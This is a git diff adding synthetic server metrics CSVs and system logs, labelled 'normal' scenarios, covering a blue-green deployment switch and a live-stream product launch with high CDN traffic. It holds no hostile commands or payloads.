+2025-08-21T14:01:45Z,69.04,61.14,38.42,1.4,1.15 +2025-08-21T14:01:50Z,53.22,57.46,18.26,1.56,1.27 +2025-08-21T14:01:55Z,57.67,52.12,42.59,0.99,0.92 +2025-08-21T14:02:00Z,64.09,59.02,33.78,1.48,0.96 +2025-08-21T14:02:05Z,54.02,55.88,43.42,1.53,1.03 +2025-08-21T14:02:10Z,67.65,64.43,16.47,1.15,1.38 +2025-08-21T14:02:15Z,63.29,56.71,41.42,1.3,0.98 +2025-08-21T14:02:20Z,58.69,57.76,37.43,1.47,1.24 +2025-08-21T14:02:25Z,62.11,58.84,32.72,1.6,1.38 +2025-08-21T14:02:30Z,56.34,59.48,23.05,1.45,0.92 +2025-08-21T14:02:35Z,51.67,59.17,32.84,1.92,0.82 +2025-08-21T14:02:40Z,63.15,59.58,32.1,1.72,0.83 +2025-08-21T14:02:45Z,63.34,59.18,25.13,1.74,1.3 +2025-08-21T14:02:50Z,58.95,58.6,19.03,0.97,1.28 +2025-08-21T14:02:55Z,58.0,59.56,21.45,1.38,1.16 +2025-08-21T14:03:00Z,47.19,57.53,25.75,1.56,0.99 +2025-08-21T14:03:05Z,53.35,59.88,39.1,1.39,1.21 +2025-08-21T14:03:10Z,54.89,59.83,39.5,1.57,0.89 +2025-08-21T14:03:15Z,58.06,60.84,43.53,1.33,1.29 +2025-08-21T14:03:20Z,63.49,61.08,33.92,1.25,1.2 +2025-08-21T14:03:25Z,53.62,62.22,18.44,1.49,1.19 +2025-08-21T14:03:30Z,51.98,64.17,24.06,1.53,1.48 +2025-08-21T14:03:35Z,60.31,62.0,20.77,1.41,0.99 +2025-08-21T14:03:40Z,54.54,63.26,27.94,1.49,0.97 +2025-08-21T14:03:45Z,47.98,63.8,41.01,1.79,1.28 +2025-08-21T14:03:50Z,60.56,61.99,28.57,1.65,1.41 +2025-08-21T14:03:55Z,49.83,62.38,26.55,1.74,1.0 +2025-08-21T14:04:00Z,50.97,63.71,34.23,1.68,0.99 +2025-08-21T14:04:05Z,48.27,57.32,35.87,1.54,1.16 +2025-08-21T14:04:10Z,54.9,64.11,37.73,1.4,1.31 +2025-08-21T14:04:15Z,58.15,60.41,22.52,2.05,1.04 +2025-08-21T14:04:20Z,50.6,50.4,22.97,1.55,1.39 +2025-08-21T14:04:25Z,54.16,62.69,26.35,1.74,1.62 +2025-08-21T14:04:30Z,49.54,57.08,35.94,1.32,1.17 +2025-08-21T14:04:35Z,63.31,62.94,31.55,1.08,1.09 +2025-08-21T14:04:40Z,58.89,56.89,22.23,1.14,1.63 +2025-08-21T14:04:45Z,48.16,58.79,45.17,1.42,0.93 +2025-08-21T14:04:50Z,53.57,61.01,25.65,1.16,1.42 +2025-08-21T14:04:55Z,55.43,56.24,29.01,1.75,1.4 +2025-08-21T14:05:00Z,52.69,55.28,29.23,1.39,0.89 +2025-08-21T14:05:05Z,46.62,57.59,23.44,1.37,1.33 +2025-08-21T14:05:10Z,49.47,61.76,29.72,2.0,1.48 +2025-08-21T14:05:15Z,53.81,60.71,30.45,1.41,1.11 +2025-08-21T14:05:20Z,52.31,61.43,32.1,1.38,0.73 +2025-08-21T14:05:25Z,45.75,58.25,32.52,2.31,1.03 +2025-08-21T14:05:30Z,52.24,58.48,25.74,1.64,1.57 +2025-08-21T14:05:35Z,44.93,60.21,22.6,1.54,0.98 +2025-08-21T14:05:40Z,39.36,58.75,38.75,1.38,1.39 +2025-08-21T14:05:45Z,50.93,54.74,28.26,1.89,0.93 +2025-08-21T14:05:50Z,54.89,59.66,38.78,1.87,1.09 +2025-08-21T14:05:55Z,52.43,56.04,33.63,0.8,1.04 +2025-08-21T14:06:00Z,57.68,55.33,51.46,1.51,1.16 +2025-08-21T14:06:05Z,59.23,58.51,29.23,1.6,1.29 +2025-08-21T14:06:10Z,52.41,58.2,16.77,1.69,1.2 +2025-08-21T14:06:15Z,47.61,61.43,27.48,1.13,1.02 +2025-08-21T14:06:20Z,50.79,60.05,39.69,1.51,1.17 +2025-08-21T14:06:25Z,44.01,58.35,45.21,2.03,1.16 +2025-08-21T14:06:30Z,51.31,59.87,44.01,1.86,1.11 +2025-08-21T14:06:35Z,51.3,58.77,35.35,1.22,1.08 +2025-08-21T14:06:40Z,52.91,59.92,42.83,1.62,1.05 +2025-08-21T14:06:45Z,57.8,65.08,22.16,1.3,1.24 +2025-08-21T14:06:50Z,42.0,62.89,25.59,1.77,1.62 +2025-08-21T14:06:55Z,56.7,60.87,22.71,0.65,1.2 +2025-08-21T14:07:00Z,50.57,61.32,34.97,1.79,1.24 +2025-08-21T14:07:05Z,57.57,60.75,40.66,1.6,1.02 +2025-08-21T14:07:10Z,54.82,62.17,30.56,1.84,1.08 +2025-08-21T14:07:15Z,49.12,58.42,33.61,1.18,1.48 +2025-08-21T14:07:20Z,59.02,64.81,26.63,1.45,1.12 +2025-08-21T14:07:25Z,51.3,62.19,27.36,1.2,1.28 diff --git a/norm_dataset/scenario_6/norm_6_9.log b/norm_dataset/scenario_6/norm_6_9.log new file mode 100644 index 0000000000000000000000000000000000000000..bf96571f43219c6002eb33576577561646ffc39b --- /dev/null +++ b/norm_dataset/scenario_6/norm_6_9.log @@ -0,0 +1,50 @@ +Aug 21 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:00:00 webapp-blue-abcde[1234]: GET /api/v1/user/142 status=200 latency=78ms +Aug 21 14:00:10 webapp-blue-abcde[1234]: GET /api/v1/user/136 status=200 latency=116ms +Aug 21 14:00:20 webapp-blue-abcde[1234]: GET /api/v1/user/141 status=200 latency=57ms +Aug 21 14:00:30 webapp-blue-abcde[1234]: GET /api/v1/user/167 status=200 latency=96ms +Aug 21 14:00:40 webapp-blue-abcde[1234]: GET /api/v1/user/169 status=200 latency=53ms +Aug 21 14:00:50 webapp-blue-abcde[1234]: GET /api/v1/user/189 status=200 latency=34ms +Aug 21 14:01:00 webapp-blue-abcde[1234]: GET /api/v1/user/125 status=200 latency=36ms +Aug 21 14:01:10 webapp-blue-abcde[1234]: GET /api/v1/user/164 status=200 latency=130ms +Aug 21 14:01:20 webapp-blue-abcde[1234]: GET /api/v1/user/187 status=200 latency=66ms +Aug 21 14:01:30 webapp-blue-abcde[1234]: GET /api/v1/user/155 status=200 latency=136ms +Aug 21 14:01:40 webapp-blue-abcde[1234]: GET /api/v1/user/196 status=200 latency=75ms +Aug 21 14:01:50 webapp-blue-abcde[1234]: GET /api/v1/user/111 status=200 latency=131ms +Aug 21 14:02:00 webapp-blue-abcde[1234]: GET /api/v1/user/117 status=200 latency=100ms +Aug 21 14:02:10 webapp-blue-abcde[1234]: GET /api/v1/user/115 status=200 latency=81ms +Aug 21 14:02:20 webapp-blue-abcde[1234]: GET /api/v1/user/102 status=200 latency=113ms +Aug 21 14:02:30 systemd[1]: Starting daily clean up activities... +Aug 21 14:02:30 webapp-blue-abcde[1234]: GET /api/v1/user/142 status=200 latency=107ms +Aug 21 14:02:40 webapp-blue-abcde[1234]: GET /api/v1/user/157 status=200 latency=35ms +Aug 21 14:02:50 webapp-blue-abcde[1234]: GET /api/v1/user/146 status=200 latency=28ms +Aug 21 14:03:00 webapp-blue-abcde[1234]: GET /api/v1/user/108 status=200 latency=46ms +Aug 21 14:03:10 webapp-blue-abcde[1234]: GET /api/v1/user/152 status=200 latency=59ms +Aug 21 14:03:20 webapp-blue-abcde[1234]: GET /api/v1/user/145 status=200 latency=77ms +Aug 21 14:03:30 webapp-blue-abcde[1234]: GET /api/v1/user/118 status=200 latency=88ms +Aug 21 14:03:40 webapp-blue-abcde[1234]: GET /api/v1/user/110 status=200 latency=102ms +Aug 21 14:03:45 haproxy[4567]: INFO: Routing 100% of traffic from 'backend-blue' to 'backend-green' +Aug 21 14:03:45 jenkins[8910]: INFO: Production traffic switch for deployment #123 successful. +Aug 21 14:03:50 webapp-green-fghij[1234]: GET /api/v1/user/187 status=200 latency=131ms +Aug 21 14:04:00 webapp-green-fghij[1234]: GET /api/v1/user/100 status=200 latency=36ms +Aug 21 14:04:10 webapp-green-fghij[1234]: GET /api/v1/user/149 status=200 latency=26ms +Aug 21 14:04:20 webapp-green-fghij[1234]: GET /api/v1/user/195 status=200 latency=44ms +Aug 21 14:04:30 webapp-green-fghij[1234]: GET /api/v1/user/123 status=200 latency=67ms +Aug 21 14:04:40 webapp-green-fghij[1234]: GET /api/v1/user/169 status=200 latency=137ms +Aug 21 14:04:50 webapp-green-fghij[1234]: GET /api/v1/user/159 status=200 latency=32ms +Aug 21 14:05:00 systemd[1]: Starting daily clean up activities... +Aug 21 14:05:00 webapp-green-fghij[1234]: GET /api/v1/user/155 status=200 latency=67ms +Aug 21 14:05:10 webapp-green-fghij[1234]: GET /api/v1/user/111 status=200 latency=103ms +Aug 21 14:05:20 webapp-green-fghij[1234]: GET /api/v1/user/132 status=200 latency=90ms +Aug 21 14:05:30 webapp-green-fghij[1234]: GET /api/v1/user/119 status=200 latency=41ms +Aug 21 14:05:40 webapp-green-fghij[1234]: GET /api/v1/user/122 status=200 latency=144ms +Aug 21 14:05:50 webapp-green-fghij[1234]: GET /api/v1/user/162 status=200 latency=122ms +Aug 21 14:06:00 webapp-green-fghij[1234]: GET /api/v1/user/176 status=200 latency=120ms +Aug 21 14:06:10 webapp-green-fghij[1234]: GET /api/v1/user/134 status=200 latency=108ms +Aug 21 14:06:20 webapp-green-fghij[1234]: GET /api/v1/user/160 status=200 latency=79ms +Aug 21 14:06:30 webapp-green-fghij[1234]: GET /api/v1/user/163 status=200 latency=42ms +Aug 21 14:06:40 webapp-green-fghij[1234]: GET /api/v1/user/151 status=200 latency=107ms +Aug 21 14:06:50 webapp-green-fghij[1234]: GET /api/v1/user/192 status=200 latency=27ms +Aug 21 14:07:00 webapp-green-fghij[1234]: GET /api/v1/user/192 status=200 latency=43ms +Aug 21 14:07:10 webapp-green-fghij[1234]: GET /api/v1/user/122 status=200 latency=150ms +Aug 21 14:07:20 webapp-green-fghij[1234]: GET /api/v1/user/138 status=200 latency=59ms diff --git a/norm_dataset/scenario_7/norm_7_1.csv b/norm_dataset/scenario_7/norm_7_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..3012067adf2eb97ede910e048644502163afc492 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,connections +2025-07-15T10:00:00Z,16.08,42.68,35.61,1.88,1.74,476 +2025-07-15T10:00:05Z,13.38,42.84,24.97,1.65,1.69,482 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+2025-07-15T10:01:40Z,14.71,44.09,26.38,1.4,2.21,504 +2025-07-15T10:01:45Z,13.61,48.66,25.24,1.81,2.0,519 +2025-07-15T10:01:50Z,11.96,40.39,23.67,1.3,1.39,497 +2025-07-15T10:01:55Z,14.0,38.39,35.11,1.62,2.23,417 +2025-07-15T10:02:00Z,15.84,48.61,22.61,1.58,1.53,599 +2025-07-15T10:02:05Z,15.53,49.64,37.11,1.31,2.48,445 +2025-07-15T10:02:10Z,14.82,42.97,24.4,1.44,1.67,516 +2025-07-15T10:02:15Z,13.64,48.1,29.15,1.65,1.61,505 +2025-07-15T10:02:20Z,11.42,50.51,31.65,1.12,2.15,520 +2025-07-15T10:02:25Z,9.99,51.55,24.79,1.02,2.11,494 +2025-07-15T10:02:30Z,91.37,60.04,32.75,5.75,872.89,48724 +2025-07-15T10:02:35Z,71.57,60.97,37.89,4.49,737.47,45400 +2025-07-15T10:02:40Z,73.83,58.81,36.37,4.67,759.88,46747 +2025-07-15T10:02:45Z,74.33,56.56,34.85,5.84,702.73,45729 +2025-07-15T10:02:50Z,81.58,55.62,37.83,6.33,783.44,49110 +2025-07-15T10:02:55Z,77.38,55.2,40.16,3.46,784.05,50452 +2025-07-15T10:03:00Z,77.86,63.79,41.41,4.91,726.58,48131 +2025-07-15T10:03:05Z,71.24,60.67,33.31,5.57,741.36,47305 +2025-07-15T10:03:10Z,71.31,56.48,36.02,6.68,804.5,47430 +2025-07-15T10:03:15Z,80.34,56.63,40.55,4.55,766.67,48487 +2025-07-15T10:03:20Z,76.06,61.2,40.03,5.16,694.13,47495 +2025-07-15T10:03:25Z,78.03,57.87,39.05,3.04,722.04,48098 +2025-07-15T10:03:30Z,72.34,64.46,43.21,6.18,721.33,47713 +2025-07-15T10:03:35Z,79.18,60.28,40.59,2.72,783.0,47700 +2025-07-15T10:03:40Z,77.08,50.44,36.14,3.11,827.87,48225 +2025-07-15T10:03:45Z,75.2,68.98,42.72,5.46,717.93,48081 +2025-07-15T10:03:50Z,79.42,58.21,37.26,5.11,771.64,47779 +2025-07-15T10:03:55Z,73.67,68.39,39.27,5.96,763.75,46689 +2025-07-15T10:04:00Z,74.52,54.27,43.04,4.38,777.01,47360 +2025-07-15T10:04:05Z,84.95,61.89,41.72,3.97,752.92,47218 +2025-07-15T10:04:10Z,69.19,58.37,36.41,5.2,739.59,49364 +2025-07-15T10:04:15Z,76.13,58.19,35.8,4.74,762.0,44591 +2025-07-15T10:04:20Z,80.33,61.39,44.46,4.92,803.54,48125 +2025-07-15T10:04:25Z,79.86,62.1,40.12,5.29,764.65,46430 +2025-07-15T10:04:30Z,79.51,63.96,34.39,6.56,730.1,47195 +2025-07-15T10:04:35Z,74.24,58.25,38.64,5.24,733.99,47794 +2025-07-15T10:04:40Z,74.64,57.28,32.69,5.22,709.64,49094 +2025-07-15T10:04:45Z,68.8,55.36,36.82,5.85,748.74,47658 +2025-07-15T10:04:50Z,74.66,58.69,35.07,5.62,794.63,46727 +2025-07-15T10:04:55Z,71.86,51.35,38.36,4.77,683.99,48586 +2025-07-15T10:05:00Z,69.81,52.06,40.55,4.72,713.35,48788 +2025-07-15T10:05:05Z,79.96,60.49,42.58,6.03,761.78,49442 +2025-07-15T10:05:10Z,70.52,60.39,31.54,3.38,822.5,48787 +2025-07-15T10:05:15Z,77.49,60.14,37.9,5.49,720.89,47281 +2025-07-15T10:05:20Z,75.17,58.26,35.59,4.77,778.8,46092 +2025-07-15T10:05:25Z,76.2,61.79,41.84,6.0,668.19,47909 +2025-07-15T10:05:30Z,79.16,60.38,41.39,5.42,799.56,48872 +2025-07-15T10:05:35Z,74.83,64.73,43.34,6.18,759.72,50629 +2025-07-15T10:05:40Z,76.16,53.77,37.82,2.68,744.42,48027 +2025-07-15T10:05:45Z,77.67,58.32,37.25,5.18,705.24,47797 +2025-07-15T10:05:50Z,73.24,57.79,39.66,4.85,795.59,48386 +2025-07-15T10:05:55Z,72.78,65.52,44.36,5.37,736.88,47549 +2025-07-15T10:06:00Z,74.92,57.43,36.46,6.77,773.2,48348 +2025-07-15T10:06:05Z,75.86,60.78,39.81,4.96,780.72,47368 +2025-07-15T10:06:10Z,64.6,58.22,47.87,3.67,715.18,46714 +2025-07-15T10:06:15Z,77.73,57.85,34.47,6.2,712.49,48880 +2025-07-15T10:06:20Z,73.39,67.64,45.37,5.26,674.01,48664 +2025-07-15T10:06:25Z,76.06,49.8,50.71,5.44,732.69,46339 +2025-07-15T10:06:30Z,69.27,58.94,32.49,3.86,706.25,48571 +2025-07-15T10:06:35Z,84.05,65.82,35.09,4.42,710.54,44515 +2025-07-15T10:06:40Z,81.35,71.86,33.41,4.71,785.32,46126 +2025-07-15T10:06:45Z,75.06,65.83,47.25,7.14,753.47,48583 +2025-07-15T10:06:50Z,71.42,61.02,31.93,6.51,776.74,46174 +2025-07-15T10:06:55Z,70.65,64.89,49.07,6.64,709.72,51255 +2025-07-15T10:07:00Z,72.22,64.07,34.84,4.91,751.45,46380 +2025-07-15T10:07:05Z,78.53,48.65,55.41,5.34,719.72,47479 +2025-07-15T10:07:10Z,77.56,44.89,37.57,4.59,789.52,48451 +2025-07-15T10:07:15Z,83.39,52.1,44.37,4.73,698.69,48309 +2025-07-15T10:07:20Z,75.96,55.23,43.21,5.09,726.77,46728 +2025-07-15T10:07:25Z,85.46,57.3,33.03,7.04,722.77,47429 diff --git a/norm_dataset/scenario_7/norm_7_1.log b/norm_dataset/scenario_7/norm_7_1.log new file mode 100644 index 0000000000000000000000000000000000000000..ad85b87d24eb964e192c3adc7018aaa123463806 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_1.log @@ -0,0 +1,74 @@ +Jul 15 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:05 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:10 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:15 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:25 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:30 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:35 CRON[507]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:00:40 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:45 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:50 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:00:55 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:05 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:10 CRON[514]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:15 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:25 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:30 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:35 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:40 systemd[1]: Starting daily clean up activities... +Jul 15 10:01:45 CRON[521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:50 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:01:55 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:05 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:02:10 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:02:15 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:25 web-app[2234]: GET /api/v1/status status=200 OK +Jul 15 10:02:30 web-app[2234]: INFO: Live stream 'product-launch-2025' has started. +Jul 15 10:02:30 web-app[2234]: INFO: Current viewers: 49876. +Jul 15 10:02:30 cdn-access-log: 192.168.253.60 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "VLC/3.0.16" +Jul 15 10:02:30 cdn-access-log: 192.168.169.11 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "VLC/3.0.16" +Jul 15 10:02:30 cdn-access-log: 192.168.121.42 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "VLC/3.0.16" +Jul 15 10:02:30 cdn-access-log: 192.168.231.226 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "VLC/3.0.16" +Jul 15 10:02:30 cdn-access-log: 192.168.177.193 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 200 1234 "-" "VLC/3.0.16" +Jul 15 10:02:40 cdn-access-log: 192.168.167.198 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:02:50 cdn-access-log: 192.168.227.128 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:03:00 cdn-access-log: 192.168.22.74 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:03:10 cdn-access-log: 192.168.202.191 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:03:20 web-app[2234]: INFO: Current viewers: 47443. +Jul 15 10:03:20 cdn-access-log: 192.168.1.216 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:03:30 cdn-access-log: 192.168.15.70 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:03:40 cdn-access-log: 192.168.101.116 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:03:50 cdn-access-log: 192.168.231.160 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:04:00 cdn-access-log: 192.168.51.135 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:04:10 web-app[2234]: INFO: Current viewers: 49388. +Jul 15 10:04:10 cdn-access-log: 192.168.152.43 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:04:20 cdn-access-log: 192.168.9.121 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:04:30 cdn-access-log: 192.168.4.180 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:04:40 cdn-access-log: 192.168.102.110 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:04:50 cdn-access-log: 192.168.115.251 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:05:00 web-app[2234]: INFO: Current viewers: 48823. +Jul 15 10:05:00 cdn-access-log: 192.168.219.176 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:05:10 cdn-access-log: 192.168.191.94 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:05:20 cdn-access-log: 192.168.3.151 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:05:30 cdn-access-log: 192.168.252.125 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:05:40 cdn-access-log: 192.168.177.92 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:05:50 web-app[2234]: INFO: Current viewers: 48326. +Jul 15 10:05:50 cdn-access-log: 192.168.107.184 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:06:00 cdn-access-log: 192.168.198.250 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:06:10 cdn-access-log: 192.168.111.168 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 15 10:06:20 cdn-access-log: 192.168.42.82 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:06:30 cdn-access-log: 192.168.253.106 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:06:40 web-app[2234]: INFO: Current viewers: 46060. +Jul 15 10:06:40 cdn-access-log: 192.168.244.153 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:06:50 cdn-access-log: 192.168.188.44 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:07:00 cdn-access-log: 192.168.162.153 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:07:10 cdn-access-log: 192.168.90.222 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" +Jul 15 10:07:20 cdn-access-log: 192.168.102.119 - - [15/Jul/2025:10:00:00 +0000] "GET /live/stream.m3u8 HTTP/1.1" 206 1234 "-" "VLC/3.0.16" diff --git a/norm_dataset/scenario_7/norm_7_10.csv b/norm_dataset/scenario_7/norm_7_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..f764c9620ca538358fb111f316f73f497888d697 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,15.99,45.29,33.13,1.93,2.26 +2025-08-19T10:00:05Z,14.72,47.91,25.71,1.07,2.77 +2025-08-19T10:00:10Z,16.3,42.89,24.65,1.85,1.95 +2025-08-19T10:00:15Z,18.05,44.02,32.41,1.5,2.2 +2025-08-19T10:00:20Z,14.53,43.82,28.88,1.21,2.35 +2025-08-19T10:00:25Z,14.53,40.61,33.57,1.64,1.8 +2025-08-19T10:00:30Z,18.16,45.89,32.37,1.56,2.11 +2025-08-19T10:00:35Z,16.53,45.78,29.64,1.32,2.01 +2025-08-19T10:00:40Z,14.06,45.02,25.77,1.52,2.05 +2025-08-19T10:00:45Z,16.09,44.3,22.43,1.38,1.61 +2025-08-19T10:00:50Z,14.07,40.75,27.77,1.53,2.01 +2025-08-19T10:00:55Z,14.07,43.74,34.28,1.7,2.25 +2025-08-19T10:01:00Z,15.48,43.97,31.07,1.98,2.73 +2025-08-19T10:01:05Z,11.17,42.59,23.77,1.13,2.48 +2025-08-19T10:01:10Z,11.55,44.52,30.87,2.14,3.08 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0000000000000000000000000000000000000000..de25db6598d11c9a88f547f2773414b12ce7be85 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_10.log @@ -0,0 +1,438 @@ +Aug 19 10:00:00 web-server[1122]: GET /api/v1/status status=200 OK +Aug 19 10:00:00 systemd[1]: Starting daily user cleanup session... +Aug 19 10:00:25 web-server[1122]: GET /api/v1/status status=200 OK +Aug 19 10:00:35 systemd[1]: Starting daily user cleanup session... +Aug 19 10:00:50 web-server[1122]: GET /api/v1/status status=200 OK +Aug 19 10:01:10 systemd[1]: Starting daily user cleanup session... +Aug 19 10:01:15 web-server[1122]: GET /api/v1/status status=200 OK +Aug 19 10:01:40 web-server[1122]: GET /api/v1/status status=200 OK +Aug 19 10:01:45 systemd[1]: Starting daily user cleanup session... +Aug 19 10:02:05 web-server[1122]: GET /api/v1/status status=200 OK +Aug 19 10:02:20 systemd[1]: Starting daily user cleanup session... +Aug 19 10:02:30 stream-service[5588]: INFO: Live stream 'product-launch-2025' has started. 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[19/Aug/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment30.ts HTTP/1.1" 200 14098 +Aug 19 10:02:30 cdn-edge[8080]: 192.168.162.91 - - [19/Aug/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment30.ts HTTP/1.1" 200 14098 +Aug 19 10:02:30 cdn-edge[8080]: 192.168.128.171 - - [19/Aug/2025:10:02:30 +0000] "GET /live/product-launch-2025/segment30.ts HTTP/1.1" 200 14098 +Aug 19 10:02:35 cdn-edge[8080]: 192.168.251.179 - - [19/Aug/2025:10:02:35 +0000] "GET /live/product-launch-2025/segment31.ts HTTP/1.1" 206 14098 +Aug 19 10:02:35 cdn-edge[8080]: 192.168.152.25 - - [19/Aug/2025:10:02:35 +0000] "GET /live/product-launch-2025/segment31.ts HTTP/1.1" 200 14098 +Aug 19 10:02:35 cdn-edge[8080]: 192.168.180.198 - - [19/Aug/2025:10:02:35 +0000] "GET /live/product-launch-2025/segment31.ts HTTP/1.1" 200 14098 +Aug 19 10:02:35 cdn-edge[8080]: 192.168.88.161 - - [19/Aug/2025:10:02:35 +0000] "GET /live/product-launch-2025/segment31.ts HTTP/1.1" 200 14098 +Aug 19 10:02:35 cdn-edge[8080]: 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10:02:40 cdn-edge[8080]: 192.168.71.1 - - [19/Aug/2025:10:02:40 +0000] "GET /live/product-launch-2025/segment32.ts HTTP/1.1" 206 14098 +Aug 19 10:02:40 cdn-edge[8080]: 192.168.141.222 - - [19/Aug/2025:10:02:40 +0000] "GET /live/product-launch-2025/segment32.ts HTTP/1.1" 200 14098 +Aug 19 10:02:45 cdn-edge[8080]: 192.168.123.184 - - [19/Aug/2025:10:02:45 +0000] "GET /live/product-launch-2025/segment33.ts HTTP/1.1" 200 14098 +Aug 19 10:02:45 cdn-edge[8080]: 